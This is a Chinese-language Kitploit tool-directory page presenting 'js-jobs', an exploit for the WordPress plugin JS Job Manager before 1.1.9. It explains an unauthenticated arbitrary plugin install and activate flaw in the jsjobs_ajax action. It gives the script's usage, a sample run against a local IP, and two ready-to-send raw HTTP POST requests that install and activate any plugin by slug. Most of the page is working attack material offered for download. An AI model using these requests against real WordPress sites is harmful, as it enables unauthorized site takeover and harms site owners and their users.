Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
js-jobs — JS Job Manager < 1.1.9 - 未经认证的任意插件安装/激活 | Kitploit
工具/GitHubGitHub/randomrobbiebf/js-jobs
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubrandomrobbiebf/js-jobs

js-jobs

JS Job Manager < 1.1.9 - 未经认证的任意插件安装/激活

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

js-jobs

JS Job Manager < 1.1.9 - 未经身份验证的任意插件安装/激活

描述

插件的 jsjobs_ajax AJAX 操作对已认证和未认证用户均可用,但未进行适当的授权和 CSRF 检查,尤其是在使用 installPluginFromAjax 和 activatePluginFromAjax 时,这可能允许未经身份验证的攻击者从 WordPress 仓库安装任意插件并(在某种限制下)激活它们。

对插件版本没有任何控制,因此会安装插件的最新版本。

使用方法

root@kitploit:~
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s

示例

root@kitploit:~
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.

概念验证

要安装插件:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close

action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>

要激活插件(此处存在一个限制:插件必须包含 /.php 文件,否则将无法激活):

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close

action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug> 
下载工具